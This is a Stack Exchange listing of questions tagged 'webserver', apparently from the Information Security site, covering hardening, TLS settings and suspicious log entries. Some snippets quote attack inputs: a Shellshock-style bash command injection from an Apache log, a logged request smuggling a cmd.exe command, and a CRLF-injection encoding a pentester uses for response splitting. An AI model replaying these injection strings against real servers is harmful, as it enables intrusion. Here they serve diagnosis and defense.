Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [webserver]

A system whose primary function is to deliver web pages on request to clients.

12
votes
2answers
6k views

Is server hardening with grsecurity really necessary on the CentOS 6.3 environment?

I consider myself to be reasonably good with IT, however I am relatively fresh at server and system administration. I am a web developer for my company and I have been charged with setting up and ...
2
votes
2answers
68 views

Dangers in hosting software on a webserver?

I'm interested in hosting a competition in which participants (all of whom are remote) will be creating FPGA/RTL designs and judged on certain performance metrics such as speed/latency/size/etc. The ...
43
votes
3answers
54k views

Should I disable TLS 1.0 on my servers?

The PCI Data Security Standard 3.1 recommends disabling "early TLS" along with SSL: SSL and early TLS are not considered strong cryptography and cannot be used as a security control after June 30, ...
8
votes
6answers
8k views

What are the best ways to fake a web server

I was wondering if anyone had some insight into the best way to fake a web service response rather than setting up a web server. For instance, while doing dynamic analysis of malware it's useful to ...
0
votes
1answer
64 views

Inbound Ip Visited “localhost” wordpress stack on AWS

i'm testing a webserver on an aws EC2 instance, it has a wordpress stack on it. The domain is configured properly, public static(elastic ip) redirected to main domain as well as the aws public dns. So ...
2
votes
1answer
746 views

AngularJS Sanitize function vs. server-side output encoding

I mainly audit web applications and provide the companies with security countermeasures and recommendations. Currently, I have an issue with giving a correct recommendation when it comes to AngularJS ...
2
votes
2answers
52 views

Web servers with different risk models in same network

This question comes from a security aspect rather than a routing/network aspect (which is why I chose here instead of server fault). We are creating a network architecture and have 2 webservers. One ...
1
vote
1answer
53 views

HTTPS flow clarification [duplicate]

I have done a small test and result is as expected, but I am trying to understand more. I have configured a fake DNS server to resolve all names to the IP of my VPS. On my VPS, I installed a web ...
19
votes
4answers
23k views

When is it appropriate to SSL Encrypt Database connections?

Let's say I have a web server I setup, and then a database server. However, they are communicating locally and are behind firewall. In my opinion, no SSL is needed here right? The only time to use ...
3
votes
2answers
122 views

SSL for external micro-services for Tor hidden service

I building a Tor hidden service for educational purposes, and I'm trying to make it as secure as I can. The main app is in Rails, and I'll communicate with multiple micro-services. Due to bandwidth ...
4
votes
3answers
2k views

Securely storing an encryption key on AWS

Regardless of the format of encryption, what is the best way to store an encryption key on an AWS EC2 server? I am storing encrypted information in a MySQL database and my cryptography key is stored ...
1
vote
1answer
282 views

Apache logs show commands execution

I am wondering if my server is compromised or not. I just looked at my log and seen the following line in there: IP: 173.249.4.160, Date: 27-12-17, Time:09:52:51, Browser: () { :;}; /bin/bash -c "...
3
votes
2answers
314 views

Is authentication + authorization a good idea at gateway level when using microservices?

I have this simple design: --------- ------------- ----> Queries ----> Gateway ---- RPC ----> Microservices --------- -------...
1
vote
3answers
221 views

Does Windows “System Volume Information” folder pose a security risk in servers?

I have a Windows 10 WAMP server running, and Windows by default has a hidden folder in every partition called "System Volume Information". I can't access it because Windows denies it, but I noticed ...
2
votes
1answer
38 views

webapp directories should have the directory name as owner and group?

Some programmer told me that my usual way to change ownership and permissions to my webapp dirs isn't good: sudo chown www-data:www-data /var/www/html/* -R He told me that this could result in a ...
1
vote
1answer
48 views

Port filtering for Ubuntu-Nginx minimal server environment

I've established a minimal, uncustomized LEMP stack (Ubuntu 16.04). The only server I have besides Nginx is Postfix. To protect that environment I filtered all ports besides a few, this way: ufw ...
6
votes
1answer
274 views

Multiple SSL certificates on load balancer

We are discussing with our Operations department about wildcard SSL certificates. Our purpose is to forbid all wildcard certificate (like *.domain.com) for internet exposed web application because of ...
2
votes
1answer
3k views

What makes servers vulnerable to Return Of Bleichenbacher's Oracle Threat (ROBOT) attack?

Is server vulnerable if it supports RSA key exchange ciphers? Can server be still vulnerable if it is running on unpatched vendor software but does not support RSA key exchange ciphers? After applying ...
0
votes
2answers
341 views

Should I keep incoming data UDP ports open in a minimal server environment?

I have a minimal, uncustomized Ubuntu 16.04 xenial Nginx server environment with only these incoming data TCP ports unfiltered: 22, 80, 443, 9000 When reviewing /etc/csf/csf.conf I found out that ...
4
votes
3answers
4k views

Is web application connected to a database via an application server more secure?

I have heard from my colleagues and some other people on web suggest that it is more secure to run this configuration: Web server -> Application server -> Database, than this: Web server -> ...
14
votes
4answers
27k views

Security measures against packet sniffing

I work in a environment where packet sniffing can be easily done . I was worried about my confidential data . Please suggest how is it done and precaution which i can take at client level.
1
vote
2answers
2k views

Most efficient way to scan for webservers

Lets say I want to scan a large amount of ip addresses for webservers running on port 80 (aware that there are other ports for webservers, ignoring for example). What would be the most efficient way ...
3
votes
1answer
266 views

Storing database credentials for multi server, multi db environment

What's the best practice for storing database credentials for an auto scaling environment, yet also requiring the ability to update database information? For instance I have an auto-scaling site on ...
1
vote
2answers
82 views

How to verify if SSH Client is not recording my login information?

there are lots of SSH Clients one can use with Android, for example JuiceSSH client, so i have a security concern, that is, how can i know or verify, that this app is not recording my credentials to ...
3
votes
1answer
153 views

Security implications of a missing SCSV, but with only TLS 1.2 allowed

Similar to this security stackexchange question, I was wondering if there's any downside, considering the services/servers security, if only TLS 1.2 allowed, but TLS Fallback Signaling Cipher Suite ...
3
votes
1answer
451 views

Is mod_reqtimeout a sufficient and safe technique to mitigate Slow HTTP DoS Attacks?

We've been looking into configuring apache against the Slow HTTP DoS Attacks and stumbled upon this article, which goes over multiple techniques and apache configuration options. mod_reqtimeout ...
1
vote
3answers
2k views

How to detect anomalous activity in web server traffic?

I'm wondering how to successfully detect malicious activity in my web server traffic? Could you point me out some popular solutions which can help me to detect attacks on my web application? I didn'...
4
votes
2answers
299 views

3rd Party Authentication protocol

I have a hardware device (H), phone (P) and web server (S). I would like P to be able to send commands to H, but only if it is authorized to do so. Permissions are stored on server. Technically I ...
2
votes
3answers
187 views

Am I exposing myself to attacks when running my test server while connected to a commercial VPN?

I installed the Apache Web Server on my computer and I use it for developing a website locally, when it is finished I will move it to a paid host. The protections implemented against incoming ...
2
votes
1answer
137 views

Why wouldn't you institute Strict-Transport-Security headers?

I read recently that HSTS can cause problems with site access. Under what circumstances might that happen and what are safe HSTS settings to implement on my web server?
103
votes
11answers
28k views

Best practices for Apache Server hardening?

What are some best practices, recommendations, required reading for securing an Apache Server?
7
votes
3answers
2k views

PHP | Security for allowing user uploads

My Situation: I am creating a web application with PHP which allows users to scan their files for viruses. It allows the user to upload their files via the html "file" input type or via a URL. I have ...
1
vote
0answers
76 views

How to list user and group access on an unfamiliar Linux system? [closed]

Say you're handed a system that you're unfamiliar with, it's a Linux OS and you want to find out it's users are not able to do anything they're not supposed to, that users/groups wouldn't allow ...
0
votes
1answer
1k views

Website uses an unsupported protocol. ERR_SSL_VERSION_OR_CIPHER_MISMATCH

I just installed a new wildcard certificate on my Ubuntu server (there was a single certificate installed before). I modified /etc/apache2/sites-available/000-default.conf which is for one specific ...
1
vote
1answer
2k views

If I use a Python socket over localhost, are there security concerns I need to be aware of?

I am implementing a simple socket in Python to pass data back and forth between two scripts running on the same machine (unfortunately, a socket is the only possible setup for my situation). This ...
4
votes
4answers
129 views

Finding web application on webserver having only IP

I am trying to find all web application running on web server. The only information I have is IP address of web server, for example 192.168.1.100. My approach was to check the existence of web ...
2
votes
1answer
342 views

Which server is responsible for “security” when ASP.NET Core Kestrel is hosted behind IIS?

I want to understand how the flow between IIS and Kestrel works with regards to security. It seems that the integration between IIS and Kestrel is that IIS just sends absolutely all that it receives ...
2
votes
1answer
660 views

How to inject XSS using Response Splitting in the following scenario?

I have been pentesting for a company. I found a CRLF injection that could be done using %E5%98%8D%E5%98%8A instead of %0d%0a. So I'm using %E5%98%8D%E5%98%8A in redirection parameter for CR/LF. Here ...
2
votes
1answer
80 views

Apache 2.4 log question

Documentation for Apache 2.4 states that: Anyone who can write to the directory where Apache httpd is writing a log file can almost certainly gain access to the uid that the server is started as, ...
0
votes
1answer
61 views

New files appearing on my web server (I did not create)

I recently had a keylogger on my computer recording usernames and passwords including their respective web addresses. I have changed all my passwords however on my web hosting account, in the FTP, ...
2
votes
2answers
928 views

suspicious http request in logs

I found this request in my Ubuntu 14.04 apache2 access.log: xxx.228.207.244 - - [25/Sep/2014:17:52:03 -0400] "GET /?search==%00{.exec|cmd.exe+%2Fc+echo%3E22222.vbs+dim+wait%2Cquit%2Cout%3ASet+xml%...
11
votes
2answers
10k views

How to remember a trusted machine using two factor authentication (like Google's system)

We are developing a web application that will use two factor authentication. We are likely to try and emulate something similar to that used by google, where to login you enter a username and password,...
0
votes
1answer
71 views

Is it a risk running old modules on Apache?

I just saw that my hoster is running extremly old modules on Apache. The cURL Version is 3 years old, the SQLLite is from the 24th October 2014 and the zlib version is 1.2.8 instead of 1.2.11. Also, ...
2
votes
2answers
234 views

What are the dangers of hot-linking assets from other websites

Say there is a situation where site a is directly linking a font file ie https://www.example.com/FONT.woff2 from site b. Would it be possible for someone to make a URL rewrite rule to point to a ...
-2
votes
1answer
122 views

How to know the vulnerabilities of my website? [closed]

My website had been hacked. Hackers were able to access my database and inject some script into my database, now although I have recovered my website but I want to protect my website from further ...
1
vote
3answers
151 views

Securing a Ubuntu web server on cloud for a web application

I am about to publish a python web application. The server is an Ubuntu remote machine hosted by 1&1. For now I start remotly the python server app with a console command. Concerning the ...
1
vote
3answers
1k views

How to chose a port to run an application on localhost? [closed]

I'm considering developing a web application for my own usage on desktop, running on localhost, automatically launched at startup. I'll need to chose a port to do so. What I'm uneasy about is the ...
0
votes
1answer
396 views

Potential added risks of using Docker in production servers

What are the added security risks of using a dockerized container to deploy a production server? Not interested in risks that would exist anyway in deploying a production server the traditional way,...
1
vote
7answers
1k views

How to protect unauthorized logins in case DB server gets compromised?

Generally what happens when an user registers to a web app is that their passwords get hashed well, so even if a DB leak happens, getting the original password is not feasible. But what happens if an ...
0
votes
2answers
2k views

Directory traversal in a URL?

Scenario: I have a webserver running nginx. I have my html files in /var/www/ and pictures in /var/www/pictures/ However, I also have some secret pictures in /var/www/pictures/secretpics/ which I ...